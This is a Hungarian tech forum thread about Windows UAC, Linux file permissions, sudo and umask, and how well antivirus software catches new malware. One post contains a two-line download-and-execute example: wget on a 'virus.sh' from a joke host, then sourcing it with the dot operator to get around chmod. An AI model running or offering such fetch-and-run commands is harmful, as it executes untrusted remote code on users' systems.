Új hozzászólás Aktív témák
-
#76
Gabás
addikt
Johnny Cage
#75
Gabás
addikt
válasz
Johnny Cage
#75
üzenetére
Mondtam, egy alkalmazás hibáiért nem az OS felelős. Go to: [link]
-
#74
Gabás
addikt
Johnny Cage
#73
Gabás
addikt
válasz
Johnny Cage
#73
üzenetére
Valószínűleg a legmagasabb szintű jogosultsággal kellene futtatni, ehhez nem kell „nagy szakértőnek” lenni. A rendszer nem felelős a rosszul megírt programokért.
-
#73
Johnny Cage
addikt
Johnny Cage
addikt
na akkor a nagy szakértők mondják meg nekem, hogyan tudom pl. a speedfan nevű progit indításra bírni az indítópultból bekapcsolt UAC-al? (Task Manager-es trükk nem működik.) - mert ha egy ilyen egyszerű dolog behal az UAC miatt, akkor ne csodálkozzatok hogy mindenki kikapcsolja.
-
anulu
félisten
"Hehe, hát én már nem egy olyan windózt láttam, ahol a fullra korlátozott user accounttal tudtak barmolni az előtte ülők... és ezek ilyen átlagos melósok voltak."
már bocs, h ezt mondom (főleg, ha te csináltad
), de akkor mocskosul nem volt képben a sysadmin, h mik azok a dolgok, amiket csípőből kell letiltani 
vagy ha nagyon barmolnak, akkor ntuser.dat >> ntuser.man, aztán csókolom, ezt barmolhatja 
-
Túl sokan képtelenek leírások után gúglizni.
" akik ugy mennek be egy-egy linux kozossegbe, hogy ajanljanak nekik linux-ot, mert meguntak, hogy szar a windoze)"
Ezeknek meg is szokás mondani a hülye root jogos kérdéseikre, hogy azt felejtse el."maradjunk annyiban, hogy aki hulye es/vagy akarja, az mindket rendszert szet tudja cseszni,"
Hehe, hát én már nem egy olyan windózt láttam, ahol a fullra korlátozott user accounttal tudtak barmolni az előtte ülők... és ezek ilyen átlagos melósok voltak. -
rt06
veterán
"Umask dolgot meg hagyd meg az advanced++ usereknek, azok valszeg úgy is tudják, hogy mit miért csinálnak."
ahogyan az uac kikapcsolasara is van leiras, ugy az umask allitasara is
peldaul a man umask is vegtelenul advanced++"Továbbá az meg, hogy valaki folyton rootként tevékenykedik az addig tart, míg véglegesen el nem ront valamit, utána megtanulja mi miért van..."
vagy ra nem fogja, hogy szar binux es feltesz egy masik disztrot (vagy ugyanazt ujrahuzza)
barmennyire is szeretne sok linux fanboy hinni, a gnu/linux joideje nem az az elitista rendszer, ami volt (volt?), hanem ugyanolyan hulyek is hasznaljak, mint a windoze-t (tipikusan azok, akik ugy mennek be egy-egy linux kozossegbe, hogy ajanljanak nekik linux-ot, mert meguntak, hogy szar a windoze)jah, es az elobb ki is felejtettem, hogy a rootkent bejelentkezes sem feltetlen kell (man sudoers) ahhoz, hogy miiiiiiiinden rootkent fusson
"Átlagos felhasználás mellett meg sudózni is csak ritkán kell, szóval ne általánosítsunk Pistikéből, mert az a "trollkodás"."
ez igy tok jopofa azutan, hogy megallas nelkul olyan dolgokat tamadsz, amit tipikusan csak a "pistikek" muvelnekmaradjunk annyiban, hogy aki hulye es/vagy akarja, az mindket rendszert szet tudja cseszni, korulbelul ugyanannyi erofeszites aran
-
CPT.Pirk
Jómunkásember
Nincs rá igazán válasz, ott a 20 év megszokása (hozzászoktatása), a "nekem ne dirigáljon senki" hozzáállás meg az "én értek a géphez" dolog.
Mondjuk amíg csak 2GB ram volt a gépemben, addig eléggé észre lehetett venni, hogy van-e bekapcsolt UAC, mert egy olyan ~100MB-vel többet kért a Windows magának, ha futott. - de mivel manapság már nem drága a ram...
-
anulu
félisten
ismét megkérdőjelezem a saját elmeállapotom, de nem értem, miért kellene kikapcsolni. Vista alatt még úgy-ahogy érthető lett volna, mert a levegővétel miatt is szólt, de W7-nél? csak akkor, amikor tényleg kell.
csőbomba receptnél is viszonylag ritkán írják oda, h "ettől a kezed is felrobbanhat" :S
-
CPT.Pirk
Jómunkásember
Ami még jó is lenne, ha nem lenne kikapcsolható.
A google tele van uac kikapcsolás mikéntjét taglaló találatokkal, de azt nem igen írják le, hogy ezzel nem csak a baszogatós ablakokat kapcsolta ki az egyszeri júzer...hcl: nálunk is van ilyen. Céges W7 belső hálón, csak a fejlesztéssel kapcsolatos 4 program van rajta, aztán jönnek a gondok, mikor leáll az USB kezelés, nem olvassa a 232, 485-ös terminál eszközöket, stb. Majd nyomok egy restartot, aztán akkor megy tovább...
-
-
-
CPT.Pirk
Jómunkásember
A shell script rossz példa volt, mert ha maga a bash futtatható, akkor így a scriptek is vele. Bináris fájlokkal már ilyen nincs, ott kell a chmod.
Umask dolgot meg hagyd meg az advanced++ usereknek, azok valszeg úgy is tudják, hogy mit miért csinálnak.Továbbá az meg, hogy valaki folyton rootként tevékenykedik az addig tart, míg véglegesen el nem ront valamit, utána megtanulja mi miért van... Átlagos felhasználás mellett meg sudózni is csak ritkán kell, szóval ne általánosítsunk Pistikéből, mert az a "trollkodás".
-
#56
netpeti98
addikt
Johnny Cage
#55
netpeti98
addikt
válasz
Johnny Cage
#55
üzenetére
De ott vannak a HIPS megoldások is. Ott csak beállítás függvénye, hogy mire kérdez rá. Például egy ismeretlen forrásból származó programnál a felhasználóra bízza a döntést, hogy fusson-e a program vagy nem.
Üdv netpeti98
-
bambano
titán
uhhh... ezek a plugboardosok a tökös csávók, nem Jester a hülye bash scriptjeivel
nekem is van haverom, aki c87summerben dolgozik, néha linuxos keresztfordítóval, mert egyszer megcsinálták a program validációját, azóta használják és senkinek nem érdeke újraírni modernebb rendszerre.
-
netpeti98
addikt
Ha jól emlékszem AntiVir néven szerepel a VT-n.
(#31) Gabás: A másik topicban (A nagy vírusirtó topic) kitárgyaltuk. Volt róla szó, hogy aki a tesztet végezte, utána letesztelte élesben 9 védelemmel és ott csak 3 jelzett rá, valószínűleg azok amelyekben erős viselkedés elemző van.
Üdv netpeti98
-
-
anulu
félisten
hát nem tudom. gyárban NOD és NIS van (hivatalosan), szenvedés mindkettő. bent és itthon is AVG-t használok (itthon használunk), és nem volt még bajunk vele. lehet, h ahogy ők teszteltek és mi használjuk, abban nincs közös halmaz, de maximálisan elégedett vagyok vele. pici, gyors, én nem rikácsol feleslegesen (bár igazán lehetne file-okat white-listelni. nem, nem crack.exe-re gondoltam
) -
flash-
veterán
attól füg melyinek hiszünk,virusbulletin szerint már évek óta a legjobbak között van
de úgy nézem amit linkeltél ott van elsők között a comodo.és tuti hogy nem a virusirto képességei miatt
comodo tüzfal nekem is fentvan mellette meg az avira mint virusirtó.szal erről ennyit
-
rt06
veterán
"Amennyire tudom, ezt a viselkedést nem is lehet kikapcsolni (a többi disztró is így működik, mégsem zavar senkit a dolog, mert a felhasználót védi), nem úgy mint pl. az UAC-t Winen, aminek egyik feladata az ilyen dolgok felügyelete "lenne"."
rosszul tudod, umask allitassal siman megadhato akar 777 jog is a frissen letoltott file-okra
aki pedig win-en hozzaertes nelkul kikapcsolja az uac-ot az linux-on is siman ki fogja adni ugyanannyi (azaz pontosan nulla) gondolkodassal a chmod +x parancsotamugy az sem igaz, hoyg netrol letoltott shell script-et nem tudsz futtastni chmod nelkul
pl.:
wget http://allatosporno.com/virus.sh
. ./virus.sh (a hangsuly a . (pont) operatoron va a masodik sor elejen)ha mar trollkodni akarsz, legalabb az alapveto ismeretekkel rendelkezz hozza
-
bambano
titán
mert ha én komolyan malware-t akarnék valakinek a gépére rakni, akkor azt nem fix, hanem nagyon gyorsan cserélődő, sok ip cím mögé rejteném. a blacklisttel meg vagy kiirtasz kisebb világrészeket a böngészésedből vagy nem fogja tudni követni, hogy honnan jön le éppen a lom.
-
Nem írta, hogy most volt. Egyébként miért is ér nullát?
#31 Gabás: egyébként nekem is eléggé marketingszagú a dolog. Persze lehet olyan exploitot, rootkitet, malware-t írni, amit nem ismernek fel a vírusirtók, de ez nem olyan nagy mutatvány, mint ahogy itt beharangozták, figyelembe véve, hogy az antivírus szoftverek alapvetően mintaillesztést használnak, az ismeretlen kártékony kódok felismerése pedig még messze van a tökéletestől.
-
#28
bambano
titán
Komplikato
#24
bambano
titán
válasz
Komplikato
#24
üzenetére
az egy html redirect lehetett, ha jól sejtem. azzal mi kezdeni valója van a víruskergetőnek?
-
#25
kispx
addikt
Komplikato
#24
kispx
addikt
válasz
Komplikato
#24
üzenetére
"kínai IP-ről magától megnyílni szándékozó PDF-et"
-
#24
Komplikato
veterán
Mr. WolfDog
#13
Komplikato
veterán
válasz
Mr. WolfDog
#13
üzenetére
"Nem mondanám, hogy az UAC bármi ellen is meg tud védeni, ..."
Nekem egyszer a vírusirtó és tűzfal ELLENÉRE az UAC kapott el egy kínai IP-ről magától megnyílni szándékozó PDF-et. Mondjuk azóta Adobe Reader se teszi a lábát a gépemre. Azért egy vicc, hogy az 5.x óta mai napig nem képesek befoltozni a biztonsági réseiket.
-
Nagyon nagy! Még jó, hogy nkem ez nem olyan kardinális kérdés
-
CPT.Pirk
Jómunkásember
Hát, a 3.1 óta csaknem minden Windowst használtam, de ilyesmihez igen sokat kellene a googleben keresnem. Szóval ez nem annyira triviális, mint neked.
...mert olyan abszolút mindennapos, hogy valaki a mount mögé még + paraméterként a noexec-et is bepötyögi otthon - nem kell, mert alapból sem fut amit nem engedsz, ezért olyan egyszerű, mint egy faék. És ez a lényege az egésznek.
IE-t meg hagyjuk, a múltkori topicban is megcáfoltalak vele kapcsolatban csak nem jártál már arra többet.
-
anulu
félisten
otthon is megcsinálható a túlnyomó része, a GPO csak összefogja enterprise környezetben.
...mert olyan abszolút mindennapos, hogy valaki a mount mögé még + paraméterként a noexec-et is bepötyögi otthon
jelentős része amúgy automatikusan bekapcsolódik, csak a security preset-et kell a megfelelő szintre (magas, közepes, stb) beállítani IE alatt. a userek viszont lusták. illetve hajlamosak nem Explorer-t használni
() -
#15
netpeti98
addikt
Mr. WolfDog
#13
netpeti98
addikt
válasz
Mr. WolfDog
#13
üzenetére
A Firefox frissítését ne keverjük ide. Ahhoz, hogy csöndben működjön UAC nélkül a frissítés, fel kellett települnie egy külön programnak (Mozilla Maintanance Service), aminek telepítéséhez megint csak UAC engedélyre volt szükség. Mivel rendszerszolgáltatás, nem kérdez rá az UAC, viszont csak akkor fut ha frissít a Firefox.
#11) CPT.Pirk: Igen a Defende+ HIPS.
Üdv netpeti98
-
CPT.Pirk
Jómunkásember
Amit írsz, az céges környezet és ott is csak akkor jó, ha tényleg meg is csinálja ezt egy guru. Otthon nem véd...
Amit én írtam, az meg mindenhol működik magától és igény szerint lehet tovább fokozni még guruk bevonásával, ha kellene. Érdekes, senki nem lázad ellene. Az meg, hogy a Vistánál mi volt, az az MS sara, adjunk mindenkinek kisgazda fiókot mert az jó...
-
anulu
félisten
mondjuk ott van első pontként az, h nem is tölthet le semmit. vagy csak trusted site-okról, minden mást eldob. ha a download engedve van, akkor is csak trusted publishertől enged futtatni, opcionálisan registryből beállítható, h ha nem felel meg vmelyik kritériumnak, akkor még local adminként sem indítható.
egyénileg GPO-ból vagy local setting policyből finomhangolható.
szintén letiltható a futtatás Win alatt is felmountolt partícióról (pl USB drive (akár sima pendrive akár HDD)).az UAC egy olyan dolog, amit nem értem, hogy miért tették kikapcsolhatóvá. r=1 userek b@romságai ellen jelentős %-ban meg tudja védeni a rendszert.
megközelítésbeli különbségek vannak. a fő probléma, h linuxnál teljesen alapvetőnek veszi mindenki, hogy csak 800 engedélyezés után lehet bármit is csinálni, addig (vissza lehet emlékezni a Vista megjelenésére) win alatt 1 nyomorult +ablak feljövetelétől már sikítófrászt kapnak a felhasználók, és reménytelen vállalkozás elmondani legalább a gyök2 százalékát, h ez miért jó nekik. nem sok, +1 kattintás. bár, azt se értik, h mi van odaírva...
-
#11
CPT.Pirk
Jómunkásember
Johnny Cage
#10
CPT.Pirk
Jómunkásember
válasz
Johnny Cage
#10
üzenetére
Nem ismerem, de a leírtak szerint nem olyasmi. [link]
-
CPT.Pirk
Jómunkásember
Miért ne lenne igaz?
Vegyük a teljesen "desktop" kedvenc disztrómat, a Chakrát. Ha letöltök pl. egy amúgy bashben futtatható shell scriptet, vagy mondjuk egy játék telepítő binárisát, az nem fog semmit csinálni, amíg meg nem adom neki a futtatási jogot. De ha maga a partíció van felcsatolva noexec paraméterrel, akkor még úgy sem fog futni, sőt, sehogy se.Amennyire tudom, ezt a viselkedést nem is lehet kikapcsolni (a többi disztró is így működik, mégsem zavar senkit a dolog, mert a felhasználót védi), nem úgy mint pl. az UAC-t Winen, aminek egyik feladata az ilyen dolgok felügyelete "lenne".
-
CPT.Pirk
Jómunkásember
"és már van is olyan operációs rendszer, amelyben kikapcsolható az ismeretlen forrásból származó vagy aláírással nem rendelkező alkalmazások futtatása" - Igen, csak nem Windows.
![;]](//cdn.rios.hu/dl/s/v1.gif)
Sőt, normális oprendszerben alapból nem is futhat semmi, amit nem engedélyezünk külön...
-
#4
netpeti98
addikt
Mr. WolfDog
#1
netpeti98
addikt
válasz
Mr. WolfDog
#1
üzenetére
Egy másik cikkben azt mondják, hogy a Virustotalon tesztelte, erre utal az is, hogy ott is 46 víruskereső van. Itt egy példa hogy is néz ki egy VT report:[link], itt láthatod melyik is az a 46.
Üdv netpeti98
-
#3
aAron_
őstag
Mr. WolfDog
#1
aAron_
őstag
válasz
Mr. WolfDog
#1
üzenetére
hát igen, különben olyan sok haszna nem volt ennek ránk nézve
-
#2
dajkopali
addikt
Mr. WolfDog
#1
dajkopali
addikt
válasz
Mr. WolfDog
#1
üzenetére
biztosan publikálnia fogja az eredményeit, de kétlem, hogy a konferencia előtt megtenné
-
#1
Mr. WolfDog
tag
Mr. WolfDog
tag
Egy listát majd lehetne erről a 46-ról kapni? Vagy inkább egy átfogó listát, ahol az összes tesztelt szoftver szerepel?
(Meg az enyém, mert nekem kellett rendberakni a gépeket...)
), de akkor mocskosul nem volt képben a sysadmin, h mik azok a dolgok, amiket csípőből kell letiltani 
vagy ha nagyon barmolnak, akkor ntuser.dat >> ntuser.man, aztán csókolom, ezt barmolhatja 
)
![;]](http://cdn.rios.hu/dl/s/v1.gif)
Új hozzászólás Aktív témák
- QuantaPlex T42S-2U
- Lenovo ThinkPad P1 Gen 3 UHD, Érintőkijelző, i7-10875H, 32GB DDR4, 256GB SSD, 27% ÁFÁS SZÁMLA, 1ÉV G
- Lenovo ThinkPad L490 FHD, TOUCH, I5-8365U CPU, 16GB DDR4, 256GB SSD, 27% ÁFÁS SZÁMLA, 1ÉV GARANCIA!
- Lenovo ThinkPad T490 FHD, I5-8365U CPU, 16GB DDR4, 256GB SSD, 27% ÁFÁS SZÁMLA, 1ÉV GARANCIA!
- 2020 M1 macbook pro 8/256GB elado/cserelheto
- Xiaomi Redmi Note 13 Pro 256GB Kártyafüggetlen 1 év Garanciával
- Bomba ár! Dell Latitude E5570 Touch - i5-6300U I 8GB I 256SSD I 15,6" FHD I HDMI I CAM I W10 I Gari
- Prémium PC házak akár 20-40% kedvezménnyel eladók garanciával, számlával!
- GYÖNYÖRŰ iPhone 13 128GB Green -1 ÉV GARANCIA - Kártyafüggetlen, MS3036
- GYÖNYÖRŰ iPhone 13 128GB Starlight -1 ÉV GARANCIA - Kártyafüggetlen, MS3059
Állásajánlatok
Cég: FOTC
Város: Budapest